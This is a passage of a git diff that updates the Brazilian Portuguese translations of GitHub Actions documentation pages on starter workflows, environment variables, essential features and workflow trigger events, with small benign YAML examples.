-Starter workflows created by users can only be used to create workflows in public repositories. Organizations using {% data variables.product.prodname_ghe_cloud %} can also use starter workflows to create workflows in private repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/learn-github-actions/creating-starter-workflows-for-your-organization).
+Os fluxos de trabalho iniciantes criados por usuários só podem ser usados para criar fluxos de trabalho em repositórios públicos. As organizações que usam {% data variables.product.prodname_ghe_cloud %} também podem usar fluxos de trabalho iniciais para criar fluxos de trabalho em repositórios privados. Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/learn-github-actions/creating-starter-workflows-for-your-organization).
 {% endif %}
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
 {% note %}
 
-**Note:** To avoid duplication among starter workflows you can call reusable workflows from within a workflow. This can help make your workflows easier to maintain. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+**Observação:** Para evitar duplicação entre os fluxos de trabalho iniciais você pode chamar fluxos de trabalho reutilizáveis de dentro de um fluxo de trabalho. Isso pode ajudar a manter seus fluxos de trabalho de forma mais fácil. Para obter mais informações, consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)".
 
 {% endnote %}
 {% endif %}
 
-This procedure demonstrates how to create a starter workflow and metadata file. The metadata file describes how the starter workflows will be presented to users when they are creating a new workflow.
+Este procedimento demonstra como criar um arquivo de metadados e fluxo de trabalho inicial. O arquivo de metadados descreve como os fluxos de trabalho iniciais serão apresentados aos usuários quando estiverem criando um novo fluxo de trabalho.
 
-1. If it doesn't already exist, create a new public repository named `.github` in your organization.
-2. Create a directory named `workflow-templates`.
-3. Create your new workflow file inside the `workflow-templates` directory.
+1. Se já não existir, crie um novo repositório público denominado `.github` na sua organização.
+2. Crie um diretório denominado `workflow-templates`.
+3. Crie seu novo arquivo de fluxo de trabalho dentro do diretório `workflow-templates`.
 
-   If you need to refer to a repository's default branch, you can use the `$default-branch` placeholder. When a workflow is created the placeholder will be automatically replaced with the name of the repository's default branch.
+   Se você precisar referir-se ao branch-padrão de um repositório, você poderá usar o espaço reservado `branch$default`. Quando um fluxo de trabalho é criado, o espaço reservado será automaticamente substituído pelo nome do branch padrão do repositório.
 
-   For example, this file named `octo-organization-ci.yml` demonstrates a basic workflow.
+   Por exemplo, este arquivo denominado `octo-organization-ci.yml` demonstra um fluxo de trabalho básico.
 
    ```yaml
    name: Octo Organization CI
@@ -68,7 +68,7 @@ This procedure demonstrates how to create a starter workflow and metadata file.
          - name: Run a one-line script
            run: echo Hello from Octo Organization
    ```
-4. Create a metadata file inside the `workflow-templates` directory. The metadata file must have the same name as the workflow file, but instead of the `.yml` extension, it must be appended with `.properties.json`. For example, this file named `octo-organization-ci.properties.json` contains the metadata for a workflow file named `octo-organization-ci.yml`:
+4. Crie um arquivo de metadados dentro do diretório `workflow-templates`. O arquivo de metadados deve ter o mesmo nome do arquivo de fluxo de trabalho, mas em vez da extensão `.yml`, deve-se adicionar `.properties.json`. Por exemplo, este arquivo denominado `octo-organization-ci.properties.json` contém os metadados para um arquivo de fluxo de trabalho denominado `octo-organization-ci.yml`:
    ```yaml
    {
        "name": "Octo Organization Workflow",
@@ -84,16 +84,16 @@ This procedure demonstrates how to create a starter workflow and metadata file.
        ]
    }
    ```
-   * `name` - **Required.** The name of the workflow. This is displayed in the list of available workflows.
-   * `description` - **Required.** The description of the workflow. This is displayed in the list of available workflows.
-   * `iconName` - **Optional.** Specifies an icon for the workflow that's displayed in the list of workflows. The `iconName` must be the name of an SVG file, without the file name extension, stored in the `workflow-templates` directory. For example, an SVG file named `example-icon.svg` is referenced as `example-icon`.
-   * `categories` - **Optional.** Defines the language category of the workflow. When a user views the available starter workflows for a repository, the workflows that match the identified language for the project are featured more prominently. For information on the available language categories, see https://github.com/github/linguist/blob/master/lib/linguist/languages.yml.
-   * `filePatterns` - **Optional.** Allows the workflow to be used if the user's repository has a file in its root directory that matches a defined regular expression.
+   * `name` - **Obrigatório.** O nome do fluxo de trabalho. É exibido na lista de fluxos de trabalho disponíveis.
+   * `description` - **Obrigatório.** A descrição do fluxo de trabalho. É exibido na lista de fluxos de trabalho disponíveis.
+   * `iconName` - **Opcional.** Especifica um íncone para o fluxo de trabalho exibido na lista de fluxos de trabalho. O `iconName` deve ser o nome de um arquivo SVG, sem a extensão de nome do arquivo, armazenado no diretório `workflow-templates`. Por exemplo, um arquivo SVG denominado `exemplo-icon.svg` é referenciado como `example-icon`.
+   * `categorias` - **Opcional.** Define a categoria de idioma do fluxo de trabalho. Quando um usuário visualiza os fluxos de trabalho iniciais disponíveis para um repositório, os fluxos de trabalho que correspondem à linguagem identificada para o projeto são apresentados de forma mais proeminente. Para obter informações sobre as categorias de idioma disponíveis, consulte https://github.com/github/linguist/blob/master/lib/linguist/languages.yml.
+   * `filePatterns` - **Opcional.** Permite que o fluxo de trabalho seja usado se o repositório do usuário tiver um arquivo no diretório-raiz que corresponde a uma expressão regular definida.
 
-To add another starter workflow, add your files to the same `workflow-templates` directory. For example:
+Para adicionar outro fluxo de trabalho inicial, adicione seus arquivos ao mesmo diretório `workflow-templates`. Por exemplo:
 
-![Workflow files](/assets/images/help/images/workflow-template-files.png)
+![Arquivos de fluxo de trabalho](/assets/images/help/images/workflow-template-files.png)
 
-## Next steps
+## Próximas etapas
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Using workflow](/actions/learn-github-actions/using-starter-workflows)."
+Para continuar aprendendo sobre {% data variables.product.prodname_actions %}, consulte "[Usando fluxos de trabalho iniciais](/actions/learn-github-actions/using-starter-workflows)."
diff --git a/translations/pt-BR/content/actions/learn-github-actions/environment-variables.md b/translations/pt-BR/content/actions/learn-github-actions/environment-variables.md
index 83e39ee23f..d70dbf900d 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/environment-variables.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/environment-variables.md
@@ -1,6 +1,6 @@
 ---
-title: Environment variables
-intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each {% data variables.product.prodname_actions %} workflow run. You can also set custom environment variables in your workflow file.'
+title: Variáveis de ambiente
+intro: '{% data variables.product.prodname_dotcom %} define as variáveis do ambiente para cada execução do fluxo de trabalho {% data variables.product.prodname_actions %}. Você também pode definir variáveis de ambiente personalizadas no seu arquivo do fluxo de trabalho.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/using-environment-variables
   - /actions/automating-your-workflow-with-github-actions/using-environment-variables
@@ -16,11 +16,11 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About environment variables
+## Sobre as variáveis de ambiente
 
-{% data variables.product.prodname_dotcom %} sets default environment variables that are available to every step in a workflow run. Environment variables are case-sensitive. Commands run in actions or steps can create, read, and modify environment variables.
+{% data variables.product.prodname_dotcom %} define as variáveis-padrão do ambiente disponíveis para cada etapa da execução de um fluxo de trabalho. As variáveis de ambiente diferenciam entre maiúsculas e minúsculas. Os comandos executados em ações ou etapas podem criar, ler e modificar as variáveis do ambiente.
 
-To set custom environment variables, you need to specify the variables in the workflow file. You can define environment variables for a step, job, or entire workflow using the [`jobs.<job_id>.steps[*].env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv), [`jobs.<job_id>.env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idenv), and [`env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) keywords. For more information, see "[Workflow syntax for {% data variables.product.prodname_dotcom %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)."
+Para definir as variáveis do ambiente personalizadas, você deverá especificar as variáveis no arquivo do fluxo de trabalho. Você pode definir as variáveis de ambiente para uma etapa, trabalho ou para todo um fluxo de trabalho, usando as palavras-chave [`jobs.<job_id>.steps[*].env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv), [`jobs.<job_id>.env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idenv), and [`env`](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env). Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_dotcom %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)".
 
 {% raw %}
 ```yaml
@@ -40,61 +40,51 @@ jobs:
 ```
 {% endraw %}
 
-To use the value of an environment variable in a workflow file, you should use the [`env` context](/actions/reference/context-and-expression-syntax-for-github-actions#env-context). If you want to use the value of an environment variable inside a runner, you can use the runner operating system's normal method for reading environment variables.
+Para usar o valor de uma variável de ambiente em um arquivo do fluxo de trabalho, você deve usar o [contexto` env`](/actions/reference/context-and-expression-syntax-for-github-actions#env-context). Se você deseja usar o valor de uma variável de ambiente dentro de um executor, você poderá usar o método normal do sistema operacional do executor para ler variáveis de ambiente.
 
-If you use the workflow file's `run` key to read environment variables from within the runner operating system (as shown in the example above), the variable is substituted in the runner operating system after the job is sent to the runner. For other parts of a workflow file, you must use the `env` context to read environment variables; this is because workflow keys (such as `if`) require the variable to be substituted during workflow processing before it is sent to the runner.
+Se você usar a chave `executar` do arquivo de fluxo de trabalho para ler variáveis de ambiente de dentro do sistema operacional do executor (como mostrado no exemplo acima), a variável será substituída no sistema operacional do executor depois que a tarefa for enviada para o executor. Para outras partes de um arquivo de fluxo de trabalho, você deve usar o contexto `env` para ler variáveis de ambiente. Isso ocorre porque as chaves do fluxo de trabalho (como `se`) exigem que a variável seja substituída durante o processamento do fluxo de trabalho antes de ser enviada para o executor.
 
-You can also use the `GITHUB_ENV` environment file to set an environment variable that the following steps in a job can use. The environment file can be used directly by an action or as a shell command in a workflow file using the `run` keyword. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-environment-variable)."
+Você também pode usar o arquivo de ambiente `GITHUB_ENV` para definir uma variável de ambiente que as etapas a seguir podem usar em um trabalho. O arquivo de ambiente pode ser usado diretamente por uma ação ou como um comando shell em um arquivo de fluxo de trabalho usando a palavra-chave `executar`. Para obter mais informações, consulte "[Comandos do fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-environment-variable)".
 
-## Default environment variables
+## Variáveis padrão de ambiente
 
-We strongly recommend that actions use environment variables to access the filesystem rather than using hardcoded file paths. {% data variables.product.prodname_dotcom %} sets environment variables for actions to use in all runner environments.
+É altamente recomendável que as ações usem as variáveis do ambiente para acessar o sistema do arquivo em vez de usar os caminhos do arquivo com codificação rígida. {% data variables.product.prodname_dotcom %} define as variáveis de ambiente para ações a serem usadas em todos os ambientes executores.
 
-| Environment variable | Description |
-| ---------------------|------------ |
-| `CI` | Always set to `true`. |
-| `GITHUB_WORKFLOW` | The name of the workflow. |
-| `GITHUB_RUN_ID` | {% data reusables.github-actions.run_id_description %} |
-| `GITHUB_RUN_NUMBER` | {% data reusables.github-actions.run_number_description %} |
-| `GITHUB_JOB` | The [job_id](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. |
-| `GITHUB_ACTION` | The unique identifier (`id`) of the action. |
-| `GITHUB_ACTION_PATH` | The path where your action is located. You can use this path to access files located in the same repository as your action. This variable is only supported in composite actions. |
-| `GITHUB_ACTIONS` | Always set to `true` when {% data variables.product.prodname_actions %} is running the workflow. You can use this variable to differentiate when tests are being run locally or by {% data variables.product.prodname_actions %}.
-| `GITHUB_ACTOR` | The name of the person or app that initiated the workflow. For example, `octocat`. |
-| `GITHUB_REPOSITORY` | The owner and repository name. For example, `octocat/Hello-World`. |
-| `GITHUB_EVENT_NAME` | The name of the webhook event that triggered the workflow. |
-| `GITHUB_EVENT_PATH` | The path of the file with the complete webhook event payload. For example, `/github/workflow/event.json`. |
-| `GITHUB_WORKSPACE` | The {% data variables.product.prodname_dotcom %} workspace directory path, initially empty. For example, `/home/runner/work/my-repo-name/my-repo-name`. The [actions/checkout](https://github.com/actions/checkout) action will check out files, by default a copy of your repository, within this directory. |
-| `GITHUB_SHA` | The commit SHA that triggered the workflow. For example, `ffac537e6cbbf934b08745a378932722df287a53`. |
-| `GITHUB_REF` | The branch or tag ref that triggered the workflow. For example, `refs/heads/feature-branch-1`. If neither a branch or tag is available for the event type, the variable will not exist. |
+| Variável de ambiente | Descrição                                                                                                                                                                                                                                                                                                                                      |
+| -------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `CI`                 | Definido sempre como `verdadeiro`.                                                                                                                                                                                                                                                                                                             |
+| `GITHUB_WORKFLOW`    | Nome do fluxo de trabalho.                                                                                                                                                                                                                                                                                                                     |
+| `GITHUB_RUN_ID`      | {% data reusables.github-actions.run_id_description %}
+| `GITHUB_RUN_NUMBER`  | {% data reusables.github-actions.run_number_description %}
+| `GITHUB_JOB`         | O [job_id](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) do trabalho atual.                                                                                                                                                                                                                                                |
+| `GITHUB_ACTION`      | Identificador único (`id`) da ação.                                                                                                                                                                                                                                                                                                            |
+| `GITHUB_ACTION_PATH` | O caminho onde está localizada a sua ação. Você pode usar esse caminho para acessar os arquivos localizados no mesmo repositório que sua ação. Esta variável só é compatível em ações compostas.                                                                                                                                               |
+| `GITHUB_ACTIONS`     | Definido sempre como `verdadeiro` quando {% data variables.product.prodname_actions %} estiver executando o fluxo de trabalho. Você pode usar esta variável para diferenciar quando os testes estão sendo executados localmente ou por {% data variables.product.prodname_actions %}.                                                        |
+| `GITHUB_ACTOR`       | Nome da pessoa ou aplicativo que iniciou o fluxo de trabalho. Por exemplo, `octocat`.                                                                                                                                                                                                                                                          |
+| `GITHUB_REPOSITORY`  | Nome do repositório e o proprietário. Por exemplo, `octocat/Hello-World`.                                                                                                                                                                                                                                                                      |
+| `GITHUB_EVENT_NAME`  | Nome do evento de webhook que acionou o workflow.                                                                                                                                                                                                                                                                                              |
+| `GITHUB_EVENT_PATH`  | Caminho do arquivo com a carga completa do evento webhook. Por exemplo, `/github/workflow/event.json`.                                                                                                                                                                                                                                         |
+| `GITHUB_WORKSPACE`   | O caminho do diretório do espaço de trabalho de {% data variables.product.prodname_dotcom %} está inicialmente vazio. Por exemplo, `/home/runner/work/my-repo-name/my-repo-name`. A ação [actions/checkout](https://github.com/actions/checkout) irá fazer o check-out dos arquivos, por padrão uma cópia do seu repositório, neste diretório. |
+| `GITHUB_SHA`         | Commit SHA que acionou o fluxo de trabalho. Por exemplo, `ffac537e6cbbf934b08745a378932722df287a53`.                                                                                                                                                                                                                                           |
+| `GITHUB_REF`         | Branch ou ref tag que acionou o fluxo de trabalho. Por exemplo, `refs/heads/feature-branch-1`. Se não houver branch ou tag disponível para o tipo de evento, a variável não existirá.                                                                                                                                                          |
 {%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5338 %}
-| `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} |
-| `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} |
-| `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %} |
+| `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} | | `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} | | `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %}
 {%- endif %}
-| `GITHUB_HEAD_REF` | Only set for pull request events. The name of the head branch.
-| `GITHUB_BASE_REF` | Only set for pull request events. The name of the base branch.
-| `GITHUB_SERVER_URL`| Returns the URL of the {% data variables.product.product_name %} server. For example: `https://{% data variables.product.product_url %}`.
-| `GITHUB_API_URL` | Returns the API URL. For example: `{% data variables.product.api_url_code %}`.
-| `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example: `{% data variables.product.graphql_url_code %}`.
-| `RUNNER_NAME` | {% data reusables.actions.runner-name-description %}
-| `RUNNER_OS` | {% data reusables.actions.runner-os-description %}{% if actions-runner-arch-envvars %}
-| `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %}{% endif %}
-| `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %}
+| `GITHUB_HEAD_REF` | Definido apenas para eventos de pull request. O nome do branch principal. | `GITHUB_BASE_REF` | Definido apenas para eventos de pull request. O nome do branch de base. | `GITHUB_SERVER_URL`| Retorna a URL do servidor de {% data variables.product.product_name %}. Por exemplo: `https://{% data variables.product.product_url %}`. | `GITHUB_API_URL` | Retorna a URL da API. Por exemplo: `{% data variables.product.api_url_code %}`. | `GITHUB_GRAPHQL_URL` | Retorna a URL da API do GraphQL. Por exemplo: `{% data variables.product.graphql_url_code %}`. | `RUNNER_NAME` | {% data reusables.actions.runner-name-description %} | `RUNNER_OS` | {% data reusables.actions.runner-os-description %}{% if actions-runner-arch-envvars %} | `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %}{% endif %} | `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %}
 {% ifversion not ghae %}| `RUNNER_TOOL_CACHE` | {% data reusables.actions.runner-tool-cache-description %}{% endif %}
 
 {% tip %}
 
-**Note:** If you need to use a workflow run's URL from within a job, you can combine these environment variables: `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID`
+**Observação:** Se você precisar usar o URL de um fluxo de trabalho em um trabalho, você poderá combinar estas variáveis de ambiente: `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID`
 
 {% endtip %}
 
-### Determining when to use default environment variables or contexts
+### Determinar quando usar variáveis de ambiente padrão ou contextos
 
 {% data reusables.github-actions.using-context-or-environment-variables %}
 
-## Naming conventions for environment variables
+## Convenções de nomenclatura para variáveis de ambiente
 
-When you set a custom environment variable, you cannot use any of the default environment variable names listed above with the prefix `GITHUB_`. If you attempt to override the value of one of these default environment variables, the assignment is ignored.
+Ao definir uma variável de ambiente personalizada, você não poderá usar qualquer um dos nomes de variáveis de ambiente padrão listados acima com o prefixo `GITHUB_`. Se você tentar substituir o valor de uma dessas variáveis de ambiente padrão, a atribuição será ignorada.
 
-Any new environment variables you set that point to a location on the filesystem should have a `_PATH` suffix. The `HOME` and `GITHUB_WORKSPACE` default variables are exceptions to this convention because the words "home" and "workspace" already imply a location.
+Qualquer variável de ambiente nova que você definir e apontar para um local no sistema de arquivos deve ter um sufixo `_PATH`. As variáveis padrão `HOME` e `GITHUB_WORKSPACE` são exceções a essa convenção porque as palavras "inicial" e "espaço de trabalho" já indicam o local.
diff --git a/translations/pt-BR/content/actions/learn-github-actions/essential-features-of-github-actions.md b/translations/pt-BR/content/actions/learn-github-actions/essential-features-of-github-actions.md
index d817b01d1f..c6acfb991a 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/essential-features-of-github-actions.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/essential-features-of-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Essential features of GitHub Actions
-shortTitle: Essential features
-intro: '{% data variables.product.prodname_actions %} are designed to help you build robust and dynamic automations. This guide will show you how to craft {% data variables.product.prodname_actions %} workflows that include environment variables, customized scripts, and more.'
+title: Recursos essenciais do GitHub Actions
+shortTitle: Recursos essenciais
+intro: '{% data variables.product.prodname_actions %} foram projetados para ajudar você a construir automações robustas e dinâmicas. Este guia irá mostrar como criar fluxos de trabalho de {% data variables.product.prodname_actions %} que incluem variáveis de ambiente, scripts personalizados e muito mais.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Visão Geral
 
-{% data variables.product.prodname_actions %} allow you to customize your workflows to meet the unique needs of your application and team. In this guide, we'll discuss some of the essential customization techniques such as using variables, running scripts, and sharing data and artifacts between jobs.
+{% data variables.product.prodname_actions %} permite que você personalize seus fluxos de trabalho para atender às necessidades únicas de seu aplicativo e equipe. Neste guia, discutiremos algumas das técnicas de personalização essenciais, como o uso de variáveis, a execução de scripts e o compartilhamento de dados e artefatos entre trabalhos.
 
-##  Using variables in your workflows
+## Usar variáveis em seus fluxos de trabalho
 
-{% data variables.product.prodname_actions %} include default environment variables for each workflow run. If you need to use custom environment variables, you can set these in your YAML workflow file. This example demonstrates how to create custom variables named `POSTGRES_HOST` and `POSTGRES_PORT`. These variables are then available to the `node client.js` script.
+{% data variables.product.prodname_actions %} incluem variáveis de ambiente-padrão para cada execução de fluxo de trabalho. Se precisar usar variáveis de ambiente personalizadas, você pode defini-las no seu arquivo de fluxo de trabalho YAML. Este exemplo demonstra como criar variáveis personalizadas denominadas `POSTGRES_HOST` e `POSTGRES_PORT`. Essas variáveis estão disponíveis para o script do `node client.js`.
 
 ```yaml
 jobs:
@@ -34,11 +34,11 @@ jobs:
             POSTGRES_PORT: 5432
 ```
 
-For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)."
+Para obter mais informações, consulte "[Usando variáveis de ambiente](/actions/configuring-and-managing-workflows/using-environment-variables)".
 
-## Adding scripts to your workflow
+## Adicionar scripts ao seu fluxo de trabalho
 
-You can use actions to run scripts and shell commands, which are then executed on the assigned runner. This example demonstrates how an action can use the `run` keyword to execute `npm install -g bats` on the runner.
+Você pode usar ações para executar scripts e comandos de shell, que são executados no executor atribuído. Este exemplo demonstra como uma ação pode usar a palavra-chave `executar` para executar `npm instalar -g morcegos` no executor.
 
 ```yaml
 jobs:
@@ -47,7 +47,7 @@ jobs:
       - run: npm install -g bats
 ```
 
-For example, to run a script as an action, you can store the script in your repository and supply the path and shell type.
+Por exemplo, para executar um script como uma ação, você pode armazenar o script no repositório e fornecer o tipo do caminho e do shell.
 
 ```yaml
 jobs:
@@ -58,13 +58,13 @@ jobs:
         shell: bash
 ```
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)".
 
-## Sharing data between jobs
+## Compartilhar dados entre trabalhos
 
-If your job generates files that you want to share with another job in the same workflow, or if you want to save the files for later reference, you can store them in {% data variables.product.prodname_dotcom %} as _artifacts_. Artifacts are the files created when you build and test your code. For example, artifacts might include binary or package files, test results, screenshots, or log files. Artifacts are associated with the workflow run where they were created and can be used by another job. {% data reusables.actions.reusable-workflow-artifacts %}
+Se o seu trabalho gera arquivos que você deseja compartilhar com outro trabalho no mesmo fluxo de trabalho, ou se você quiser salvar os arquivos para referência posterior, você pode armazená-los em {% data variables.product.prodname_dotcom %} como _artefatos_. Artefatos são os arquivos que surgem quando você compila e testa seu código. Por exemplo, os artefatos podem incluir arquivos binários ou de pacotes, resultados de testes, capturas de tela ou arquivos de log. Os artefatos estão associados à execução do fluxo de trabalho em que foram criados e podem ser usados por outro trabalho. {% data reusables.actions.reusable-workflow-artifacts %}
 
-For example, you can create a file and then upload it as an artifact.
+Por exemplo, você pode criar um arquivo e, em seguida, carregá-lo como um artefato.
 
 ```yaml
 jobs:
@@ -81,7 +81,7 @@ jobs:
           path: output.log
 ```
 
-To download an artifact from a separate workflow run, you can use the `actions/download-artifact` action. For example, you can download the artifact named `output-log-file`.
+Para fazer o download de um artefato de uma execução de fluxo de trabalho separado, você pode usar a ação `actions/download-artefact`. Por exemplo, você pode fazer o download do artefato denominado `log-file`.
 
 ```yaml
 jobs:
@@ -93,10 +93,10 @@ jobs:
           name: output-log-file
 ```
 
-To download an artifact from the same workflow run, your download job should specify `needs: upload-job-name` so it doesn't start until the upload job finishes.
+Para fazer o download de um artefato da mesma execução de fluxo de trabalho, seu trabalho de download deverá especificar `needs: upload-job-name` para que não inicie até que o trabalho de upload seja concluído.
 
-For more information about artifacts, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
+Para obter mais informações sobre artefatos, consulte "[Persistir dados de fluxo de trabalho usando artefatos](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)".
 
-## Next steps
+## Próximas etapas
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows)."
+Para continuar aprendendo sobre {% data variables.product.prodname_actions %}, consulte "[Gerenciar fluxos de trabalho complexos](/actions/learn-github-actions/managing-complex-workflows)".
diff --git a/translations/pt-BR/content/actions/learn-github-actions/events-that-trigger-workflows.md b/translations/pt-BR/content/actions/learn-github-actions/events-that-trigger-workflows.md
index 56e92056f6..9e76d1c54f 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/events-that-trigger-workflows.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/events-that-trigger-workflows.md
@@ -1,6 +1,6 @@
 ---
-title: Events that trigger workflows
-intro: 'You can configure your workflows to run when specific activity on {% data variables.product.product_name %} happens, at a scheduled time, or when an event outside of {% data variables.product.product_name %} occurs.'
+title: Eventos que acionam fluxos de trabalho
+intro: 'É possível configurar a execução de seus fluxos de trabalho quando uma atividade específica acontece no {% data variables.product.product_name %} em um período agendado ou quando ocorre um evento externo do {% data variables.product.product_name %}.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/events-that-trigger-workflows
@@ -12,110 +12,110 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Events that trigger workflows
+shortTitle: Eventos que acionam fluxos de trabalho
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Configuring workflow events
+## Configurar eventos de fluxo de trabalho
 
-You can configure workflows to run for one or more events using the `on` workflow syntax. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#on)."
+É possível configurar fluxos de trabalho para serem executados por um ou mais eventos usando a a sintaxe do fluxo de trabalho `on`. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#on)".
 
 {% data reusables.github-actions.actions-on-examples %}
 
 {% note %}
 
-**Note:** You cannot trigger new workflow runs using the `GITHUB_TOKEN`. For more information, see "[Triggering new workflows using a personal access token](#triggering-new-workflows-using-a-personal-access-token)."
+**Observação:** Você não pode acionar novas execuções do fluxo de trabalho usando o `GITHUB_TOKEN`. Para obter mais informações, consulte "[Acionando novos fluxos de trabalho usando um token de acesso pessoal](#triggering-new-workflows-using-a-personal-access-token)".
 
 {% endnote %}
 
-The following steps occur to trigger a workflow run:
+As etapas a seguir ocorrem para acionar a execução de um fluxo de trabalho:
 
-1. An event occurs on your repository, and the resulting event has an associated commit SHA and Git ref.
-2. The `.github/workflows` directory in your repository is searched for workflow files at the associated commit SHA or Git ref. The workflow files must be present in that commit SHA or Git ref to be considered.
+1. Um evento ocorre no seu repositório e o evento resultante tem um commit de SHA e ref de Git associados.
+2. É feita uma pesquisa no diretório `.github/workflows` com relação aos arquivos do fluxo de trabalho no SHA ou Git ref associado. Os arquivos do fluxo de trabalho devem estar presentes nesse commit SHA ou no Git ref para serem considerados.
 
-  For example, if the event occurred on a particular repository branch, then the workflow files must be present in the repository on that branch.
-1. The workflow files for that commit SHA and Git ref are inspected, and a new workflow run is triggered for any workflows that have `on:` values that match the triggering event.
+  Por exemplo, se o evento ocorreu em um determinado branch do repositório, os arquivos do fluxo de trabalho devem estar presentes no repositório desse branch.
+1. Os arquivos do fluxo de trabalho para o commit SHA e Git ref são inspecionados, e aciona-se uma nova execução de fluxo de trabalho para quaisquer fluxos de trabalho com valores `on:` que correspondem ao evento de acionado.
 
-  The workflow runs on your repository's code at the same commit SHA and Git ref that triggered the event. When a workflow runs, {% data variables.product.product_name %} sets the `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) environment variables in the runner environment. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
+  O fluxo de trabalho é executado no código do seu repositório no mesmo commit SHA e Git ref que acionou o evento. Quando um fluxo de trabalho é executado, o {% data variables.product.product_name %} configura as variáveis de ambiente `GITHUB_SHA` (commit SHA) e `GITHUB_REF` (Git ref) no ambiente do executor. Para obter mais informações, consulte "[Usando variáveis de ambiente](/actions/automating-your-workflow-with-github-actions/using-environment-variables)".
 
-## Scheduled events
+## Eventos programados
 
-The `schedule` event allows you to trigger a workflow at a scheduled time.
+O evento `agenda` permite que você acione um fluxo de trabalho em um horário agendado.
 
 {% data reusables.actions.schedule-delay %}
 
 ### `schedule`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| n/a | n/a | Last commit on default branch | Default branch | When the scheduled workflow is set to run. A scheduled workflow uses [POSIX cron syntax](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). For more information, see "[Triggering a workflow with events](/articles/configuring-a-workflow/#triggering-a-workflow-with-events)." |
+| Carga de evento webhook | Tipos de atividade | `GITHUB_SHA`                   | `GITHUB_REF`                                                                                                                                                                                                                                                                                                                                                                             |
+| ----------------------- | ------------------ | ------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
